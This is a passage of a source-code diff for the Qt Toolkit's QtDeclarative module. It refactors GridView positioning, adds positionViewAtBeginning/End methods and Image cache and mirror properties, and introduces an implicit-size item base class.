+ void backChanged();
void sideChanged();
private Q_SLOTS:
diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp
index 89d7493..6d2285d 100644
--- a/src/declarative/graphicsitems/qdeclarativegridview.cpp
+++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp
@@ -82,7 +82,7 @@ public:
item->setPos(QPointF(row, col));
}
}
- bool contains(int x, int y) const {
+ bool contains(qreal x, qreal y) const {
return (x >= item->x() && x < item->x() + view->cellWidth() &&
y >= item->y() && y < item->y() + view->cellHeight());
}
@@ -331,11 +331,14 @@ public:
}
}
} else if ((header && header->item == item) || (footer && footer->item == item)) {
- updateHeader();
- updateFooter();
+ if (header)
+ updateHeader();
+ if (footer)
+ updateFooter();
}
}
+ void positionViewAtIndex(int index, int mode);
virtual void fixup(AxisData &data, qreal minExtent, qreal maxExtent);
virtual void flick(AxisData &data, qreal minExtent, qreal maxExtent, qreal vSize,
QDeclarativeTimeLineCallback::Callback fixupCallback, qreal velocity);
@@ -1095,9 +1098,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m
\snippet doc/src/snippets/declarative/gridview/ContactModel.qml 0
- \beginfloatright
+ \div {float-right}
\inlineimage gridview-simple.png
- \endfloat
+ \enddiv
This model can be referenced as \c ContactModel in other QML files. See \l{QML Modules}
for more information about creating reusable components like this.
@@ -1111,9 +1114,9 @@ void QDeclarativeGridViewPrivate::flick(AxisData &data, qreal minExtent, qreal m
\codeline
\snippet doc/src/snippets/declarative/gridview/gridview.qml classdocs simple
- \beginfloatright
+ \div {float-right}
\inlineimage gridview-highlight.png
- \endfloat
+ \enddiv
The view will create a new delegate for each item in the model. Note that the delegate
is able to access the model's \c name and \c portrait data directly.
@@ -1615,6 +1618,8 @@ void QDeclarativeGridView::setFlow(Flow flow)
setContentHeight(-1);
setFlickableDirection(QDeclarativeFlickable::HorizontalFlick);
}
+ setContentX(0);
+ setContentY(0);
d->clear();
d->updateGrid();
refill();
@@ -1776,6 +1781,9 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer)
Q_D(QDeclarativeGridView);
if (d->footerComponent != footer) {
if (d->footer) {
+ if (scene())
+ scene()->removeItem(d->footer->item);
+ d->footer->item->deleteLater();
delete d->footer;
d->footer = 0;
}
@@ -1783,6 +1791,7 @@ void QDeclarativeGridView::setFooter(QDeclarativeComponent *footer)
if (isComponentComplete()) {
d->updateFooter();
d->updateGrid();
+ d->fixupPosition();
}
emit footerChanged();
}
@@ -1808,6 +1817,9 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header)
Q_D(QDeclarativeGridView);
if (d->headerComponent != header) {
if (d->header) {
+ if (scene())
+ scene()->removeItem(d->header->item);
+ d->header->item->deleteLater();
delete d->header;
d->header = 0;
}
@@ -1816,6 +1828,7 @@ void QDeclarativeGridView::setHeader(QDeclarativeComponent *header)
d->updateHeader();
d->updateFooter();
d->updateGrid();
+ d->fixupPosition();
}
emit headerChanged();
}
@@ -2122,6 +2135,78 @@ void QDeclarativeGridView::moveCurrentIndexRight()
}
}
+void QDeclarativeGridViewPrivate::positionViewAtIndex(int index, int mode)
+{
+ Q_Q(QDeclarativeGridView);
+ if (!isValid())
+ return;
+ if (mode < QDeclarativeGridView::Beginning || mode > QDeclarativeGridView::Contain)
+ return;
+
+ int idx = qMax(qMin(index, model->count()-1), 0);
+
+ if (layoutScheduled)
+ layout();
+ qreal pos = position();
+ FxGridItem *item = visibleItem(idx);
+ qreal maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent();
+ if (!item) {
+ int itemPos = rowPosAt(idx);
+ // save the currently visible items in case any of them end up visible again
+ QList<FxGridItem*> oldVisible = visibleItems;
+ visibleItems.clear();
+ visibleIndex = idx - idx % columns;
+ maxExtent = flow == QDeclarativeGridView::LeftToRight ? -q->maxYExtent() : -q->maxXExtent();
+ setPosition(qMin(qreal(itemPos), maxExtent));
+ // now release the reference to all the old visible items.
+ for (int i = 0; i < oldVisible.count(); ++i)
+ releaseItem(oldVisible.at(i));
+ item = visibleItem(idx);
+ }
+ if (item) {
+ qreal itemPos = item->rowPos();
+ switch (mode) {
+ case QDeclarativeGridView::Beginning:
+ pos = itemPos;
+ if (index < 0 && header) {
+ pos -= flow == QDeclarativeGridView::LeftToRight
+ ? header->item->height()
+ : header->item->width();
+ }
+ break;
+ case QDeclarativeGridView::Center:
+ pos = itemPos - (size() - rowSize())/2;
+ break;
+ case QDeclarativeGridView::End:
+ pos = itemPos - size() + rowSize();
+ if (index >= model->count() && footer) {
+ pos += flow == QDeclarativeGridView::LeftToRight
+ ? footer->item->height()
+ : footer->item->width();
+ }
+ break;
+ case QDeclarativeGridView::Visible:
+ if (itemPos > pos + size())
+ pos = itemPos - size() + rowSize();
+ else if (item->endRowPos() < pos)
+ pos = itemPos;
+ break;
+ case QDeclarativeGridView::Contain:
+ if (item->endRowPos() > pos + size())
+ pos = itemPos - size() + rowSize();
+ if (itemPos < pos)
+ pos = itemPos;
+ }
+ pos = qMin(pos, maxExtent);
+ qreal minExtent = flow == QDeclarativeGridView::LeftToRight ? -q->minYExtent() : -q->minXExtent();
+ pos = qMax(pos, minExtent);
+ moveReason = QDeclarativeGridViewPrivate::Other;
+ q->cancelFlick();
+ setPosition(pos);
+ }
+ fixupPosition();
+}
+
/*!
\qmlmethod GridView::positionViewAtIndex(int index, PositionMode mode)
@@ -2159,58 +2244,42 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
Q_D(QDeclarativeGridView);
if (!d->isValid() || index < 0 || index >= d->model->count())
return;
- if (mode < Beginning || mode > Contain)
+ d->positionViewAtIndex(index, mode);
+}
+
+/*!
+ \qmlmethod GridView::positionViewAtBeginning()
+ \qmlmethod GridView::positionViewAtEnd()
+
+ Positions the view at the beginning or end, taking into account any header or footer.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end on startup:
+
+ \code
+ Component.onCompleted: positionViewAtEnd()
+ \endcode
+*/
+void QDeclarativeGridView::positionViewAtBeginning()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->isValid())
return;
+ d->positionViewAtIndex(-1, Beginning);
+}
- if (d->layoutScheduled)
- d->layout();
- qreal pos = d->position();
- FxGridItem *item = d->visibleItem(index);
- if (!item) {
- int itemPos = d->rowPosAt(index);
- // save the currently visible items in case any of them end up visible again
- QList<FxGridItem*> oldVisible = d->visibleItems;
- d->visibleItems.clear();
- d->visibleIndex = index - index % d->columns;
- d->setPosition(itemPos);
- // now release the reference to all the old visible items.
- for (int i = 0; i < oldVisible.count(); ++i)
- d->releaseItem(oldVisible.at(i));
- item = d->visibleItem(index);
- }
- if (item) {
- qreal itemPos = item->rowPos();
- switch (mode) {
- case Beginning:
- pos = itemPos;
- break;
- case Center:
- pos = itemPos - (d->size() - d->rowSize())/2;
- break;
- case End:
- pos = itemPos - d->size() + d->rowSize();
- break;
- case Visible:
- if (itemPos > pos + d->size())
- pos = itemPos - d->size() + d->rowSize();
- else if (item->endRowPos() < pos)
- pos = itemPos;
- break;
- case Contain:
- if (item->endRowPos() > pos + d->size())
- pos = itemPos - d->size() + d->rowSize();
- if (itemPos < pos)
- pos = itemPos;
- }
- qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent();
- pos = qMin(pos, maxExtent);
- qreal minExtent = d->flow == QDeclarativeGridView::LeftToRight ? -minYExtent() : -minXExtent();
- pos = qMax(pos, minExtent);
- d->moveReason = QDeclarativeGridViewPrivate::Other;
- cancelFlick();
- d->setPosition(pos);
- }
- d->fixupPosition();
+void QDeclarativeGridView::positionViewAtEnd()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->isValid())
+ return;
+ d->positionViewAtIndex(d->model->count(), End);
}
/*!
@@ -2225,7 +2294,7 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
\bold Note: methods should only be called after the Component has completed.
*/
-int QDeclarativeGridView::indexAt(int x, int y) const
+int QDeclarativeGridView::indexAt(qreal x, qreal y) const
{
Q_D(const QDeclarativeGridView);
for (int i = 0; i < d->visibleItems.count(); ++i) {
@@ -2321,24 +2390,9 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
Q_D(QDeclarativeGridView);
if (!isComponentComplete())
return;
- if (!d->visibleItems.count() || d->model->count() <= 1) {
- d->scheduleLayout();
- if (d->itemCount && d->currentIndex >= modelIndex) {
- // adjust current item index
- d->currentIndex += count;
- if (d->currentItem)
- d->currentItem->index = d->currentIndex;
- emit currentIndexChanged();
- } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
- d->updateCurrent(0);
- }
- d->itemCount += count;
- emit countChanged();
- return;
- }
- int index = d->mapFromModel(modelIndex);
- if (index == -1) {
+ int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
+ if (index < 0) {
int i = d->visibleItems.count() - 1;
while (i > 0 && d->visibleItems.at(i)->index == -1)
--i;
@@ -2369,28 +2423,35 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
}
}
- // At least some of the added items will be visible
int insertCount = count;
- if (index < d->visibleIndex) {
+ if (index < d->visibleIndex && d->visibleItems.count()) {
insertCount -= d->visibleIndex - index;
index = d->visibleIndex;
modelIndex = d->visibleIndex;
}
- index -= d->visibleIndex;
int to = d->buffer+d->position()+d->size()-1;
- int colPos, rowPos;
- if (index < d->visibleItems.count()) {
- colPos = d->visibleItems.at(index)->colPos();
- rowPos = d->visibleItems.at(index)->rowPos();
- } else {
- // appending items to visible list
- colPos = d->visibleItems.at(index-1)->colPos() + d->colSize();
- rowPos = d->visibleItems.at(index-1)->rowPos();
- if (colPos > d->colSize() * (d->columns-1)) {
- colPos = 0;
- rowPos += d->rowSize();
+ int colPos = 0;
+ int rowPos = 0;
+ if (d->visibleItems.count()) {
+ index -= d->visibleIndex;
+ if (index < d->visibleItems.count()) {
+ colPos = d->visibleItems.at(index)->colPos();
+ rowPos = d->visibleItems.at(index)->rowPos();
+ } else {
+ // appending items to visible list
+ colPos = d->visibleItems.at(index-1)->colPos() + d->colSize();
+ rowPos = d->visibleItems.at(index-1)->rowPos();
+ if (colPos > d->colSize() * (d->columns-1)) {
+ colPos = 0;
+ rowPos += d->rowSize();
+ }
}
+ } else if (d->itemCount == 0 && d->header) {
+ if (d->flow == QDeclarativeGridView::LeftToRight)
+ rowPos = d->headerSize();
+ else
+ colPos = d->headerSize();
}
// Update the indexes of the following visible items.
@@ -2443,6 +2504,8 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
if (d->currentItem) {
d->currentItem->index = d->currentIndex;
d->currentItem->setPosition(d->colPosAt(d->currentIndex), d->rowPosAt(d->currentIndex));
+ } else if (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared)) {
+ d->updateCurrent(0);
}
emit currentIndexChanged();
}
@@ -2560,12 +2623,8 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count)
return;
QHash<int,FxGridItem*> moved;
- bool removedBeforeVisible = false;
FxGridItem *firstItem = d->firstVisibleItem();
- if (from < to && from < d->visibleIndex && to > d->visibleIndex)
- removedBeforeVisible = true;
-
QList<FxGridItem*>::Iterator it = d->visibleItems.begin();
while (it != d->visibleItems.end()) {
FxGridItem *item = *it;
@@ -2574,16 +2633,12 @@ void QDeclarativeGridView::itemsMoved(int from, int to, int count)
item->index += (to-from);
moved.insert(item->index, item);
it = d->visibleItems.erase(it);
- if (item->rowPos() < firstItem->rowPos())
- removedBeforeVisible = true;
} else {
if (item->index > from && item->index != -1) {
// move everything after the moved items.
item->index -= count;
if (item->index < d->visibleIndex)
d->visibleIndex = item->index;
- } else if (item->index != -1) {
- removedBeforeVisible = true;
}
++it;
}
diff --git a/src/declarative/graphicsitems/qdeclarativegridview_p.h b/src/declarative/graphicsitems/qdeclarativegridview_p.h
index 7dc8954..e68a9ba 100644
--- a/src/declarative/graphicsitems/qdeclarativegridview_p.h
+++ b/src/declarative/graphicsitems/qdeclarativegridview_p.h
@@ -158,7 +158,9 @@ public:
enum PositionMode { Beginning, Center, End, Visible, Contain };
Q_INVOKABLE void positionViewAtIndex(int index, int mode);
- Q_INVOKABLE int indexAt(int x, int y) const;
+ Q_INVOKABLE int indexAt(qreal x, qreal y) const;
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtBeginning();
+ Q_INVOKABLE Q_REVISION(1) void positionViewAtEnd();
static QDeclarativeGridViewAttached *qmlAttachedProperties(QObject *);
diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp
index e90a4df..2c9bde5 100644
--- a/src/declarative/graphicsitems/qdeclarativeimage.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp
@@ -458,84 +458,102 @@ QRectF QDeclarativeImage::boundingRect() const
are always loaded asynchonously.
*/
+/*!
+ \qmlproperty bool Image::cache
+ \since Quick 1.1
+
+ Specifies whether the image should be cached. The default value is
+ true. Setting \a cache to false is useful when dealing with large images,
+ to make sure that they aren't cached at the expense of small 'ui element' images.
+*/
+
+/*!
+ \qmlproperty bool Image::mirror
+ \since Quick 1.1
+
+ This property holds whether the image should be horizontally inverted
+ (effectively displaying a mirrored image).
+
+ The default value is false.
+*/
+
+
void QDeclarativeImage::paint(QPainter *p, const QStyleOptionGraphicsItem *, QWidget *)
{
Q_D(QDeclarativeImage);
if (d->pix.pixmap().isNull() )
return;
- bool oldAA = p->testRenderHint(QPainter::Antialiasing);
- bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
- if (d->smooth)
- p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+ int drawWidth = width();
+ int drawHeight = height();
+ bool doClip = false;
+ QTransform transform;
+ qreal widthScale = width() / qreal(d->pix.width());
+ qreal heightScale = height() / qreal(d->pix.height());
if (width() != d->pix.width() || height() != d->pix.height()) {
if (d->fillMode >= Tile) {
- if (d->fillMode == Tile) {
- p->drawTiledPixmap(QRectF(0,0,width(),height()), d->pix);
- } else {
- qreal widthScale = width() / qreal(d->pix.width());
- qreal heightScale = height() / qreal(d->pix.height());
-
- QTransform scale;
- if (d->fillMode == TileVertically) {
- scale.scale(widthScale, 1.0);
- QTransform old = p->transform();
- p->setWorldTransform(scale * old);
- p->drawTiledPixmap(QRectF(0,0,d->pix.width(),height()), d->pix);
- p->setWorldTransform(old);
- } else {
- scale.scale(1.0, heightScale);
- QTransform old = p->transform();
- p->setWorldTransform(scale * old);
- p->drawTiledPixmap(QRectF(0,0,width(),d->pix.height()), d->pix);
- p->setWorldTransform(old);
- }
+ if (d->fillMode == TileVertically) {
+ transform.scale(widthScale, 1.0);
+ drawWidth = d->pix.width();
+ } else if (d->fillMode == TileHorizontally) {
+ transform.scale(1.0, heightScale);
+ drawHeight = d->pix.height();
}
} else {
- qreal widthScale = width() / qreal(d->pix.width());
- qreal heightScale = height() / qreal(d->pix.height());
-
- QTransform scale;
-
if (d->fillMode == PreserveAspectFit) {
if (widthScale <= heightScale) {
heightScale = widthScale;
- scale.translate(0, (height() - heightScale * d->pix.height()) / 2);
+ transform.translate(0, (height() - heightScale * d->pix.height()) / 2);
} else if(heightScale < widthScale) {
widthScale = heightScale;
- scale.translate((width() - widthScale * d->pix.width()) / 2, 0);
+ transform.translate((width() - widthScale * d->pix.width()) / 2, 0);
}
} else if (d->fillMode == PreserveAspectCrop) {
if (widthScale < heightScale) {
widthScale = heightScale;
- scale.translate((width() - widthScale * d->pix.width()) / 2, 0);
+ transform.translate((width() - widthScale * d->pix.width()) / 2, 0);
} else if(heightScale < widthScale) {
heightScale = widthScale;
- scale.translate(0, (height() - heightScale * d->pix.height()) / 2);
+ transform.translate(0, (height() - heightScale * d->pix.height()) / 2);
}
}
- if (clip()) {
- p->save();
- p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip);
- }
- scale.scale(widthScale, heightScale);
- QTransform old = p->transform();
- p->setWorldTransform(scale * old);
- p->drawPixmap(0, 0, d->pix);
- p->setWorldTransform(old);
- if (clip()) {
- p->restore();
- }
+ transform.scale(widthScale, heightScale);
+ drawWidth = d->pix.width();
+ drawHeight = d->pix.height();
+ doClip = clip();
}
- } else {
- p->drawPixmap(0, 0, d->pix);
}
+ QTransform oldTransform;
+ bool oldAA = p->testRenderHint(QPainter::Antialiasing);
+ bool oldSmooth = p->testRenderHint(QPainter::SmoothPixmapTransform);
+ if (d->smooth)
+ p->setRenderHints(QPainter::Antialiasing | QPainter::SmoothPixmapTransform, d->smooth);
+ if (doClip) {
+ p->save();
+ p->setClipRect(QRectF(0, 0, d->mWidth, d->mHeight), Qt::IntersectClip);
+ }
+ if (d->mirror)
+ transform.translate(drawWidth, 0).scale(-1.0, 1.0);
+ if (!transform.isIdentity()) {
+ oldTransform = p->transform();
+ p->setWorldTransform(transform * oldTransform);
+ }
+
+ if (d->fillMode >= Tile)
+ p->drawTiledPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix);
+ else
+ p->drawPixmap(QRectF(0, 0, drawWidth, drawHeight), d->pix, QRectF(0, 0, drawWidth, drawHeight));
+
if (d->smooth) {
p->setRenderHint(QPainter::Antialiasing, oldAA);
p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth);
}
+ if (doClip)
+ p->restore();
+ if (!transform.isIdentity())
+ p->setWorldTransform(oldTransform);
}
void QDeclarativeImage::pixmapChange()
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
index 74e9337..471c87f 100644
--- a/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase.cpp
@@ -48,8 +48,13 @@
QT_BEGIN_NAMESPACE
+QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeItem *parent)
+ : QDeclarativeImplicitSizeItem(*(new QDeclarativeImageBasePrivate), parent)
+{
+}
+
QDeclarativeImageBase::QDeclarativeImageBase(QDeclarativeImageBasePrivate &dd, QDeclarativeItem *parent)
- : QDeclarativeItem(dd, parent)
+ : QDeclarativeImplicitSizeItem(dd, parent)
{
}
@@ -128,6 +133,44 @@ QSize QDeclarativeImageBase::sourceSize() const
return QSize(width != -1 ? width : implicitWidth(), height != -1 ? height : implicitHeight());
}
+bool QDeclarativeImageBase::cache() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->cache;
+}
+
+void QDeclarativeImageBase::setCache(bool cache)
+{
+ Q_D(QDeclarativeImageBase);
+ if (d->cache == cache)
+ return;
+
+ d->cache = cache;
+ emit cacheChanged();
+ if (isComponentComplete())
+ load();
+}
+
+void QDeclarativeImageBase::setMirror(bool mirror)
+{
+ Q_D(QDeclarativeImageBase);
+ if (mirror == d->mirror)
+ return;
+
+ d->mirror = mirror;
+
+ if (isComponentComplete())
+ update();
+
+ emit mirrorChanged();
+}
+
+bool QDeclarativeImageBase::mirror() const
+{
+ Q_D(const QDeclarativeImageBase);
+ return d->mirror;
+}
+
void QDeclarativeImageBase::load()
{
Q_D(QDeclarativeImageBase);
@@ -143,7 +186,12 @@ void QDeclarativeImageBase::load()
pixmapChange();
update();
} else {
- d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), d->async);
+ QDeclarativePixmap::Options options;
+ if (d->async)
+ options |= QDeclarativePixmap::Asynchronous;
+ if (d->cache)
+ options |= QDeclarativePixmap::Cache;
+ d->pix.load(qmlEngine(this), d->url, d->explicitSourceSize ? sourceSize() : QSize(), options);
if (d->pix.isLoading()) {
d->progress = 0.0;
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
index 7135170..abee25d 100644
--- a/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p.h
@@ -42,14 +42,14 @@
#ifndef QDECLARATIVEIMAGEBASE_H
#define QDECLARATIVEIMAGEBASE_H
-#include "qdeclarativeitem.h"
+#include "qdeclarativeimplicitsizeitem_p.h"
QT_BEGIN_HEADER
QT_BEGIN_NAMESPACE
class QDeclarativeImageBasePrivate;
-class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem
+class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeImplicitSizeItem
{
Q_OBJECT
Q_ENUMS(Status)
@@ -58,9 +58,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeImageBase : public QDeclarativeItem
Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged)
Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
Q_PROPERTY(bool asynchronous READ asynchronous WRITE setAsynchronous NOTIFY asynchronousChanged)
+ Q_PROPERTY(bool cache READ cache WRITE setCache NOTIFY cacheChanged REVISION 1)
Q_PROPERTY(QSize sourceSize READ sourceSize WRITE setSourceSize NOTIFY sourceSizeChanged)
+ Q_PROPERTY(bool mirror READ mirror WRITE setMirror NOTIFY mirrorChanged REVISION 1)
public:
+ QDeclarativeImageBase(QDeclarativeItem *parent=0);
~QDeclarativeImageBase();
enum Status { Null, Ready, Loading, Error };
Status status() const;
@@ -72,15 +75,23 @@ public:
bool asynchronous() const;
void setAsynchronous(bool);
+ bool cache() const;
+ void setCache(bool);
+
virtual void setSourceSize(const QSize&);
QSize sourceSize() const;
+ virtual void setMirror(bool mirror);
+ bool mirror() const;
+
Q_SIGNALS:
void sourceChanged(const QUrl &);
void sourceSizeChanged();
void statusChanged(QDeclarativeImageBase::Status);
void progressChanged(qreal progress);
void asynchronousChanged();
+ Q_REVISION(1) void cacheChanged();
+ Q_REVISION(1) void mirrorChanged();
protected:
virtual void load();
diff --git a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
index 5d892ad..ab16e66 100644
--- a/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
+++ b/src/declarative/graphicsitems/qdeclarativeimagebase_p_p.h
@@ -53,7 +53,7 @@
// We mean it.
//
-#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
#include "private/qdeclarativepixmapcache_p.h"
#include <QtCore/QPointer>
@@ -61,7 +61,7 @@
QT_BEGIN_NAMESPACE
class QNetworkReply;
-class QDeclarativeImageBasePrivate : public QDeclarativeItemPrivate
+class QDeclarativeImageBasePrivate : public QDeclarativeImplicitSizeItemPrivate
{
Q_DECLARE_PUBLIC(QDeclarativeImageBase)
@@ -70,7 +70,9 @@ public:
: status(QDeclarativeImageBase::Null),
progress(0.0),
explicitSourceSize(false),
- async(false)
+ async(false),
+ cache(true),
+ mirror(false)
{
QGraphicsItemPrivate::flags = QGraphicsItemPrivate::flags & ~QGraphicsItem::ItemHasNoContents;
}
@@ -82,6 +84,8 @@ public:
QSize sourcesize;
bool explicitSourceSize : 1;
bool async : 1;
+ bool cache : 1;
+ bool mirror: 1;
};
QT_END_NAMESPACE
diff --git a/tools/qdoc3/polyarchiveextractor.cpp b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
index 3594258..31ac28f 100644
--- a/tools/qdoc3/polyarchiveextractor.cpp
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem.cpp
@@ -4,7 +4,7 @@
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
@@ -39,56 +39,54 @@
**
****************************************************************************/
-/*
- polyarchiveextractor.cpp
-*/
-
-#include "command.h"
-#include "polyarchiveextractor.h"
+#include "private/qdeclarativeimplicitsizeitem_p.h"
+#include "private/qdeclarativeimplicitsizeitem_p_p.h"
QT_BEGIN_NAMESPACE
-/*!
- \class PolyArchiveExtractor
-
- \brief The PolyArchiveExtractor class is a class for unpacking
- archive files.
+void QDeclarativeImplicitSizeItemPrivate::implicitWidthChanged()
+{
+ Q_Q(QDeclarativeImplicitSizeItem);
+ emit q->implicitWidthChanged();
+}
+
+void QDeclarativeImplicitSizeItemPrivate::implicitHeightChanged()
+{
+ Q_Q(QDeclarativeImplicitSizeItem);
+ emit q->implicitHeightChanged();
+}
+
+QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeItem *parent)
+ : QDeclarativeItem(*(new QDeclarativeImplicitSizeItemPrivate), parent)
+{
+}
- This subclass of ArchiveExtractor contains a parameterized
- command for doing the archive extraction.
+QDeclarativeImplicitSizeItem::QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativeItem(dd, parent)
+{
+}
- It has an extractArchive() function you call to do the
- actual archive extraction.
- */
-/*!
- The constructor takes the list of filename \a extensions,
- which it passes to the base class, and the \a commandFormat,
- which it stores locally. The \a commandFormat is a command
- template string.
- */
-PolyArchiveExtractor::PolyArchiveExtractor( const QStringList& extensions,
- const QString& commandFormat )
- : ArchiveExtractor( extensions ), cmd( commandFormat )
+void QDeclarativeImplicitSizePaintedItemPrivate::implicitWidthChanged()
+{
+ Q_Q(QDeclarativeImplicitSizePaintedItem);
+ emit q->implicitWidthChanged();
+}
+
+void QDeclarativeImplicitSizePaintedItemPrivate::implicitHeightChanged()
{
+ Q_Q(QDeclarativeImplicitSizePaintedItem);
+ emit q->implicitHeightChanged();
}
-/*!
- The destructor doesn't have to do anything.
- */
-PolyArchiveExtractor::~PolyArchiveExtractor()
+QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeItem *parent)
+ : QDeclarativePaintedItem(*(new QDeclarativeImplicitSizePaintedItemPrivate), parent)
{
}
-/*!
- Call this function to do the actual archive extraction. It calls
- the executeCommand() function to do the work. That's all it does.
- */
-void PolyArchiveExtractor::extractArchive( const Location& location,
- const QString& filePath,
- const QString& outputDir )
+QDeclarativeImplicitSizePaintedItem::QDeclarativeImplicitSizePaintedItem(QDeclarativeImplicitSizePaintedItemPrivate &dd, QDeclarativeItem *parent)
+ : QDeclarativePaintedItem(dd, parent)
{
- executeCommand( location, cmd, QStringList() << filePath << outputDir );
}
QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
new file mode 100644
index 0000000..1863d95
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeimplicitsizeitem_p.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMPLICITSIZEITEM_H
+#define QDECLARATIVEIMPLICITSIZEITEM_H
+
+#include "qdeclarativepainteditem_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeImplicitSizeItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizeItem : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
+ Q_PROPERTY(qreal implicitHeight READ implicitHeight NOTIFY implicitHeightChanged REVISION 1)
+
+public:
+ QDeclarativeImplicitSizeItem(QDeclarativeItem *parent = 0);
+
+protected:
+ QDeclarativeImplicitSizeItem(QDeclarativeImplicitSizeItemPrivate &dd, QDeclarativeItem *parent);
+
+Q_SIGNALS:
+ Q_REVISION(1) void implicitWidthChanged();
+ Q_REVISION(1) void implicitHeightChanged();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeImplicitSizeItem)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeImplicitSizeItem)
+};
+
+class QDeclarativeImplicitSizePaintedItemPrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeImplicitSizePaintedItem : public QDeclarativePaintedItem
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal implicitWidth READ implicitWidth NOTIFY implicitWidthChanged REVISION 1)
